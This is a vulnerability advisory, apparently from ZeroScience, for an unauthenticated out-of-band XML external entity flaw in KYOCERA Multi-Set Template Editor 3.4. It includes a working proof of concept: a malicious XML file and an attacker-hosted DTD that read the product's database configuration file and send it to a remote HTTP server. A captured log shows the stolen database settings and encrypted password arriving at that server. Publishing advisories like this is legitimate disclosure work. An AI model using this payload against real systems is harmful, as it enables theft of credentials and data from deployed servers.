KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection

`  
KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection  
  
  
Vendor: KYOCERA Corporation  
Product https://global.kyocera.com  
Affected version: 3.4.0906  
  
Summary: KYOCERA Net Admin is Kyocera's unified  
device management software that uses a web-based  
platform to give network administrators easy and  
uncomplicated control to handle a fleet for up to  
10,000 devices. Tasks that used to require multiple  
programs or walking to each printer can now be  
accomplished in a single, fast and modern environment.  
  
Desc: KYOCERA Multi-Set Template Editor (part of Net  
Admin) suffers from an unauthenticated XML External Entity  
(XXE) injection vulnerability using the DTD parameter  
entities technique resulting in disclosure and retrieval  
of arbitrary data from the affected node via out-of-band  
(OOB) channel attack. The vulnerability is triggered when  
input passed to the Multi-Set Template Editor (kmmted.exe)  
called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll  
is not sanitized while parsing a 5.x Multi-Set template XML  
file.  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
Apache Tomcat/8.5.15  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5459  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5459.php  
  
  
28.03.2018  
  
---  
  
  
Malicious.xml:  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE ZSL [  
<!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml">  
%remote;  
%root;  
%oob;]>  
  
  
Attacker's xxe.xml:  
  
<!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties">  
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> ">  
  
  
Data retrieval:  
  
lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777  
Serving HTTP on 0.0.0.0 port 7777 ...  
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 -  
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 -  
`